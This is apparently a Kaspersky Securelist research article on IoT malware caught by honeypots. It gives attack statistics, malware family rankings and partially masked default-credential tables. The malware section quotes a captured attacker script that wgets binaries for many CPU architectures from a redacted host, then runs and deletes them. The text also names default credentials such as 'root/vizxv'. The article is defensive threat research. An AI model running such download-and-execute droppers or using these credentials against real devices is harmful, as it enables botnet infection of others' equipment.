![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/10/15095104/abstract_network_iot-990x400.jpg) Since 2008, cyber-criminals have been creating malware to attack IoT-devices, such as routers and other types of network equipment. You will find a lot of statistics on this on Securelist, most notably, [here]() and [here](). The main problem with these IoT/embedded devices is that one simply cannot install any kind of security software. How do we deal with that? The best option for tracking attacks, catching malware and getting an overview of attacks in this area is to use honeypots. ## About honeypots There are three common types of honeypot: * Low-interaction honeypots. These simulate services such as Telnet, SSH and web servers. The attacker or attacking system is tricked into thinking it is a real vulnerable system and running its malicious commands and payload. * High-interaction honeypots. These are real systems that require additional steps to restrict malicious activities and avoid compromising further systems, but it has the advantage of actually running a fully POSIX-capable system. This means that any future attempts to identify the hosts using techniques not already emulated by low-interaction honeypots will fail, thus making the attacking scripts believe it is a real device. * Medium-interaction honeypots. These are combinations of the two that offer more functionality than low-interaction honeypots but less than high-interaction honeypots. Ideally, it is best to operate only high-Interaction honeypots. Unfortunately, due to the high volume of attacks, these types of honeypots cannot scale, and the environment needs to be reset for every new connection. As such, medium-interaction honeypots are the type most commonly used, and the most popular open-source projects are [Cowrie]() and [Dionaea](). We work with all three types of honeypots, and we have even created a different type, the sensor honeypot, which we will cover below. ## Honeypot deployment Working with honeypots implies taking security into consideration at every step. A system vulnerable to attack or a system under attack can put you and others at risk. A major step when running honeypots is planning a network layout before getting the honeypots running. This includes defining what activities should be monitored, and how data is collected and processed. Over the past years, we have created a honeypot infrastructure, extending and improving it continuously. We created our own modular approach to this, to deal with system management, updates and data processing. The main idea is to be able to deploy multiple honeypots with ease to try to keep maintenance costs as low as possible. ### **Residential vs. "Corporate" IP addresses** Our telemetry data suggests that smart botnet operators check the network [AS]() name and tend to target only IP addresses belonging to internet service providers supplying Internet connection to home users. The reason is simple: if there is a router showing up on an Amazon/DigitalOcean-owned IP, this might be a sign that the machine could be a VPS (virtual private server), rather than a SoHo Router sitting inside somebody's home. ### **Using the same IP address for a long time** Cycling through IP addresses is quite important. Botnet owners try to monitor honeypots on their own, so after some time, public IP addresses may get flagged by cybercriminals, which results in fewer attacks. Furthermore, we believe there are lists of "honeypot IPs" traded in darknet markets. ### **Fingerprinting honeypots** Multiple malware families use specific valid commands that are not fully emulated by some honeypots, in order to detect them. Attackers constantly change their fingerprinting methods to bypass the anti-anti-VM techniques. These techniques are implemented in order to check if attackers are trying to probe the honeypot and will return fake data to make the honeypot look real. For example, one malware family reads the contents of /proc/cpuinfo in order to find out the processor type and family. Most Cowrie deployments use the same CPU architecture. ### **Handling heavy loads ** Exposing a popular port (for example, 21. 22. 23. 80) to the Internet will almost immediately attract connection attempts from various hosts, and the longer that port stays open, the more bots will try to "infect" the service. For a static IP address running the same service for more than twelve months, the "infection rate" (the number of sessions trying to infect our honeypot host with malware) was around 4,000 every 15 minutes. The offending IPs are not unique and, from our experience, [one attacker attempts to infect a machine multiple times](). A large number of connections generates a lot of stress on both the network and the honeypot emulation stacks. From our experience, we noticed that Cowrie can handle around 10,000 simultaneous sessions per instance. For heavily-loaded honeypots, the solution would be to load-balance the attacking connections at the kernel layer into multiple Docker instances, which can be easily implemented using the kernel's [netfilter]() module. ## Results So far, we have collected results in our production environment for more than one year. We have deployed more than 50 honeypots around the world, with 20,000 infected sessions every 15 minutes. Below are our results, based on the aggregated data. ### **Statistics: Telnet ** In the first half of 2019, our Telnet honeypots detected a total of more than 105 million attacks that originated with 276,000 unique IP addresses. Compare that with 12 million attacks, originating with 69,000 IP addresses, detected year-on-year in 2018. We are looking at a steady trend for an increase in repeat attacks from attackers' IP addresses, suggesting increasingly persistent attempts at infecting devices previously known to the attackers. While Brazil and China remained the leaders in terms of unique IP addresses that served as the origin of Telnet password brute-forcing attacks in the first half of 2019, China took the lead when compared with 2018 year-on-year, with around 30 percent, whereas Brazil was second with 19 percent. Egypt, Russia and the United States were third, fourth and fifth, respectively. **H1 2018** | **H1 2019** ---|--- Brazil | 28% | China | 30% China | 14% | Brazil | 19% Japan | 11% | Egypt | 12% USA | 5% | Russia | 11% Greece | 5% | USA | 8% Turkey | 4% | Vietnam | 4% Mexico | 4% | India | 4% Russia | 3% | Greece | 4% South Korea | 3% | South Korea | 4% Italy | 2% | Japan | 4% **_Countries that were the sources of Telnet attacks on Kaspersky Laboratory honeypots_** ### **Top 10 IoT threat verdicts** It should come as no surprise that most of the positions are occupied by various Mirai modifications: these use exploits, targeting devices that have Telnet turned off. Consider, too, that the malware has been publicly available for a long time, and its code is versatile enough for compiling bots of any level of complexity, for any hardware configuration. **_TOP 10 IoT threat verdicts, first half of 2018_**[]() **_TOP 10 IoT threat verdicts, first half of 2019_**[]() The statistics were collected from a specially designated group of honeypots that was not touched by the infrastructure changes (no new devices were added), so the statistics relied on the activity of infected devices only. A session stands for a successful password brute-forcing attempt. []() An analysis of logs from an isolated group of honeypots points to a steady trend for a year-on-year decrease in attacker IP addresses but an increase in the number of attacks. The number of active infected devices remains high: tens of thousands of devices attempt to spread malware by both brute-forcing passwords and exploiting various vulnerabilities every month. **_Unique IP addressed detected as the origin of attacks on the isolated honeypot group, January through June 2018_**[]() ### **Statistics: credentials** Especially in the IoT area, Telnet, SSH and web servers are the most common services available and, therefore, the most-attacked ones. For Telnet and SSH, we store not only malicious payloads but also initial login credentials. This data enables us to identify targeted devices due to the default username/password combinations mainly used by the attackers. We collected the most widely used username and password combinations for Q3 and Q4 2018, and Q1-Q3 2019; you can find them all in the Appendix. The most common combination by far is "support/support", followed by "admin/admin", "default/default" and "root/vizxv". The first three entries are self-explanatory, but the fourth one is quite interesting: it is the default password for a vulnerable IP camera, [as described in Kreb's blog](). New cameras are probed every quarter as exploits are released into the wild. For example, in Q1 2019, we observed bots trying to infect specific Gpon routers using a specific hard-coded password. Our colleagues at TrendMicro [wrote about this at the end of 2018](). [![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/10/14160528/iot-a-malware-story-5.png)]() _Identifying collected credentials for Q3 2018 (left), Q4 2018 (center) and Q1 2019 (right)_ ### **Statistics: malware** While common computers usually run on Intel or AMD CPUs (little-endian x86 or x86_64), embedded IoT devices use a broader range of CPU architectures supplied by multiple vendors. While classifying our samples, we noticed that we had files using both [endianness]() types, designed to be executed on multiple CPU architectures, such as ARM, Intel x86 and MIPS. Below is a table with all types of samples we collected. [![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/10/14160547/iot-a-malware-story-6.png)]() A well-known method used by attackers, once they get access to a device, is to try and deploy their malware for all architectures without any checks. This approach works because only one binary will be executed correctly. Luckily for us, this allows us to grab all the links and download all the samples. Below is an example of such a script. #!/bin/bash cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/mips; chmod +x mips; ./mips; rm -rf mips cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/mipsel; chmod +x mipsel; ./mipsel; rm -rf mipsel cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/sh4; chmod +x sh4; ./sh4; rm -rf sh4 cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/x86; chmod +x x86; ./x86; rm -rf x86 cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/armv7l; chmod +x armv7l; ./armv7l; rm -rf armv7l cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/armv6l; chmod +x armv6l; ./armv6l; rm -rf armv6l cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/i686; chmod +x i686; ./i686; rm -rf i686 cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/powerpc; chmod +x powerpc; ./powerpc; rm -rf powerpc cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/i586; chmod +x i586; ./i586; rm -rf i586 cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/m68k; chmod +x m68k; ./m68k; rm -rf m68k cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/sparc; chmod +x sparc; ./sparc; rm -rf sparc cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/armv4l; chmod +x armv4l; ./armv4l; rm -rf armv4l cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/armv5l; chmod +x armv5l; ./armv5l; rm -rf armv5l cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/powerpc-440fp; chmod +x powerpc-440fp; ./powerpc-440fp; rm -rf powerpc-440fp Besides username/password combinations, the type of architecture being targeted is an additional characteristic that helps us to identify other potentially targeted devices. ### **Attacking countries and networks** The top three countries probing our honeypots were China and Brazil, followed by Egypt and Russia, the latter two 0.1 percent apart. The trend seems to be consistent throughout 2018 and 2019, with slight changes in country rankings. [![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/10/14160610/iot-a-malware-story-7.png)]() Below are the top 20 most active attackers and their ASNs, based on attacker IP analysis. IP | ASN | **count**ry | Sessions ---|---|---|--- 198.98.*.* | FranTech Solutions (53667) | United States | 9850914 5.188.*.* | Global Layer B.V. (49453) | Ireland | 8845554 46.101.*.* | DigitalOcean, LLC (14061) | Germany | 6400293 5.188.*.* | Global Layer B.V. (57172) | Russia | 5687846 5.188.*.* | Global Layer B.V. (57172) | Russia | 5668684 5.188.*.* | Global Layer B.V. (57172) | Russia | 5651793 104.168.*.* | Hostwinds LLC. (54290) | United States | 5208208 5.188.*.* | Global Layer B.V. (57172) | Russia | 5183386 5.188.*.* | Global Layer B.V. (57172) | Russia | 4999999 5.188.*.* | Global Layer B.V. (49453) | Ireland | 4997344 5.188.*.* | Global Layer B.V. (57172) | Russia | 4996561 198.199.*.* | DigitalOcean, LLC (14061) | United States | 4731014 68.183.*.* | DigitalOcean, LLC (14061) | United States | 4654696 104.248.*.* | DigitalOcean, LLC (14061) | United States | 4509490 5.188.*.* | Global Layer B.V. (49453) | Ireland | 4413067 88.214.*.* | FutureNow Inc. (201912) | N/A | 4210692 5.188.*.* | Global Layer B.V. (49453) | Ireland | 4209439 134.19.*.* | Global Layer B.V. (49453) | Netherlands | 4206674 185.244.*.* | 3W Infra B.V. (60144) | Netherlands | 4181413 5.188.*.* | Global Layer B.V. (49453) | Ireland | 4128155 ### **Infected sessions** [![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/10/14160630/iot-a-malware-story-8.png)]() Starting in 2018, we have present two metrics in our data: "all sessions" and "infected sessions". An infected session is one where there was at least one malware file requested, or dropped, from the Internet. A non-infected session might be one initiated by mistake by a legitimate user, via a mistyped IP address, or by a robot scanning the Internet. We have seen a steady increase in all sessions (Telnet, SSH, web, etc.) opened on our honeypots, and the more honeypots we add to our network, the more traffic we observe, which means that attackers are constantly scanning the Internet in order to infect new devices. In most cases, infected devices are the ones scanning for new hosts on the Internet. ### **Malware families: 2018 vs. 2019** In terms of detected hashes, we have seen a few changes in top samples trying to attack our honeypots. Overall, in 2018 as well as 2019, Mirai remained the most popular malware family with over 30,000 samples detected in 2018 and almost 25,000 samples detected in the first half of 2019. While the Hajime malware, thoroughly [researched by Kaspersky]() and by [Symantec]() in 2017, was quite active during its prime years, it is almost non-existent on our 2019 charts. Instead, we have seen an increase from well-known malware families, NyaDrop and Gafgy, trying to infect newer devices. Below are our Top 10 samples detected in Q1 2018 and Q1 2019. Q1 2018 | Q1 2019 ---|--- Backdoor.Linux.Mirai.c | 23454 (50.46%) | Trojan-Downloader.Linux.NyaDrop.b | 24437 (38.57%) Trojan-Downloader.Linux.Hajime.a | 8657 (18.62%) | Backdoor.Linux.Mirai.b | 13960 (22.06%) Backdoor.Linux.Mirai.b | 3566 (7.67%) | Backdoor.Linux.Mirai.ba | 7664 (12.11%) Trojan-Downloader.Linux.NyaDrop.b | 3523 (7.58%) | Backdoor.Linux.Mirai.ad | 1224 (1.92%) Backdoor.Linux.Mirai.ba | 2468 (5.31%) | Backdoor.Linux.Mirai.au | 1185 (1.87%) Trojan-Downloader.Shell.Agent.p | 502 (1.08%) | Backdoor.Linux.Gafgyt.bj | 872 (1.38%) Trojan-Downloader.Shell.Agent.as | 426 (0.91%) | Trojan-Downloader.Shell.Agent.p | 659 (1.04%) Backdoor.Linux.Mirai.n | 348 (0.74%) | Backdoor.Linux.Gafgyt.az | 468 (0.74%) Backdoor.Linux.Gafgyt.ba | 339 (0.72%) | Backdoor.Linux.Mirai.c | 455 (0.72%) Backdoor.Linux.Gafgyt.af | 279 (0.60%) | Backdoor.Linux.Mirai.h | 434 (0.68%) ## Uberpot Besides the common honeypots that listen on specific ports, we have also created a multi-port honeypot, named "uberpot". The idea is simple: the honeypot listens on all TCP and UDP ports and accepts connections, and logs data received and meta information. The main objective is to identify new attack vectors, and attacks on other services and ports, e.g. due to new devices or vendor-specific port configurations. TCP is clearly king in terms of attacker services, even though we still see some UDP/ICMP traffic directed to our uberpot instances. In terms of infected sessions, we get hit by around 6,000 daily, but in January 2019, we noticed a spike in traffic with more than 7,500 daily sessions hitting random TCP ports. In terms of other protocols, UDP and ICMP traffic is quite insignificant compared to TCP. We do not monitor other "exotic" protocols, such as DCCP, SST or ATP. [![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/10/14160649/iot-a-malware-story-9.png)]() _Attacked protocols on Uberpot_ So far, mostly TCP-services have been attacked. Remote Administration Services such as SSH, Telnet, VNC and RDP have been a popular target, in addition to databases and web servers. [![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/10/14160708/iot-a-malware-story-10.png)]() _Attacked protocols on Uberpot_ We continue to improve our systems and sensors, and expand our infrastructure to monitor threats and help protect against these. ## Honeypots-as-a-Service A constant issue for security researchers is new sources of malware, data and infections. As a company or security team, you want to have full visibility into what hosts are attacking you and what kind of services attackers are going after. Apart from traditional defense mechanisms, log monitoring and training, deploying honeypots in key parts of your public or private infrastructure can also help in identifying ongoing probes into your network. The main issues when running a large network of honeypots is maintenance, aggregation and processing of logs and bug fixing. We solve these problems by moving all honeypots into a dockerized infrastructure. This means that the front-facing hosts require very low resources: a node can run on a Raspberry PI. Our solution is simple: we offer Docker image/install scripts that forward malicious traffic aimed at "vulnerable" ports back to our infrastructure through a Wireguard UDP tunnel. We call these machines "nodes" and, as mentioned before, a node can even run on a Raspberry PI. Once you install a machine like that, all you need to do is redirect the ports you want to monitor towards it. You can directly assign public IPs, as some of our partners do, or even do DNAT (port forwarding) only for the ports you are interested in. Once traffic hits your node, it is sent to our aggregator, where a Docker machine handles it and responds. We then generate statistics and all required data on the aggregator. For more information about our infrastructure, please check out [our SAS 2019 video](). ## Conclusion While the trend for IoT-specific malware is growing as the IoT landscape expands into more and more areas, we will continue to extend our detection and research capabilities. Awareness is a key element along with defense technologies based on analysis and following trends. One way to stay on top of attackers is to ingest dedicated feeds for IoT threats. For example, we offer such feeds on [our Threat Intelligence platform](). If you are interested in starting a research partnership with Kaspersky and running honeypots on your unused IP addresses, please get in touch with us at [honeypots@kaspersky.com](). We are happy to partner with you to deploy our Honeypot-as-a-Service prototype. As explained in the "Honeypots-as-a-Service" section, we aggregate, correlate and cluster all incoming connections and all processed data is made available to you almost in real time. ## Appendix List of passwords for recent quarters: Q3 2018 --- **username** | **password** | **count** support | s***t | 2627805 root | v***v | 2376654 admin | a***n | 2359985 root | d***t | 2355762 default | S***s | 2140316 default | O***8 | 1683879 root | x***1 | 1451906 root | a***o | 1365481 root | 7***n | 1336390 root | a***n | 1281745 root | 1***5 | 1273103 root | p***d | 1239467 user | u***r | 1238778 telnet | t***t | 1171306 root | h***9 | 1136995 default | <empty> | 1058371 root | r***t | 995550 admin | a***4 | 977147 root | 1***n | 932786 Q4 2018 --- **username** | **password** | **count** support | s***t | 703515 root | v***v | 583926 admin | a***n | 547302 root | d***t | 429091 default | S***s | 423178 default | O***8 | 377638 root | 7***n | 297929 telnet | t***t | 292827 root | p***d | 283462 root | x***1 | 281053 root | 1***n | 276828 root | 1***5 | 273787 default | <blank> | 268606 root | a***n | 264256 root | h***9 | 258697 root | a***o | 256498 user | u***r | 251272 guest | 1***5 | 246927 root | r***t | 218373 root | <empty> | 192910 Q1 2019 --- **username** | **password** | **count** support | s***t | 2627805 root | v***v | 2376654 admin | a***n | 2359985 root | d***t | 2355762 default | S***s | 2140316 default | O***8 | 1683879 root | x***1 | 1451906 root | a***o | 1365481 root | 7***n | 1336390 root | a***n | 1281745 root | 1***5 | 1273103 root | p***d | 1239467 user | u***r | 1238778 telnet | t***t | 1171306 root | h***9 | 1136995 default | <empty> | 1058371 root | r***t | 995550 admin | a***4 | 977147 root | 1***n | 932786 root | <empty> | 870276 Q2 2019 --- **username** | **password** | **count** default | d***t | 2523832 admin | a***n | 2030987 root | 7***n | 2023333 root | v***v | 1842271 root | d***t | 1803912 admin | p***d | 1671593 default | <blank> | 1656853 default | O***8 | 1524072 default | S***s | 1497600 root | "t***9" | 1402338 root | z***4 | 1116542 admin | a***o | 1103479 default | t***6 | 1065423 admin | a***3 | 1028715 guest | 1***z | 819617 guest | 1***5 | 757875 admin | s***t | 637017 guest | g***t | 487789 guest | <empty> | 461508 guest | 1***6 | 460613 Q3 2019 --- **username** | **password** | **count** default | d***t | 4211802 admin | a***n | 3692028 root | v***v | 3174770 root | d***t | 3094578 root | "t***9" | 2964442 default | <blank> | 2897669 root | t***n | 2341043 root | 7***n | 2340426 admin | a***o | 2316776 admin | a***3 | 2278549 admin | p***d | 2103600 default | O***8 | 2074258 default | S***s | 1983527 default | t***6 | 1519887 guest | 1***5 | 1105911 guest | 1***6 | 991206 guest | g***t | 937530 admin | s***t | 920939 guest | a***n | 694245 guest | <empty> | 614275

IoT: a malware story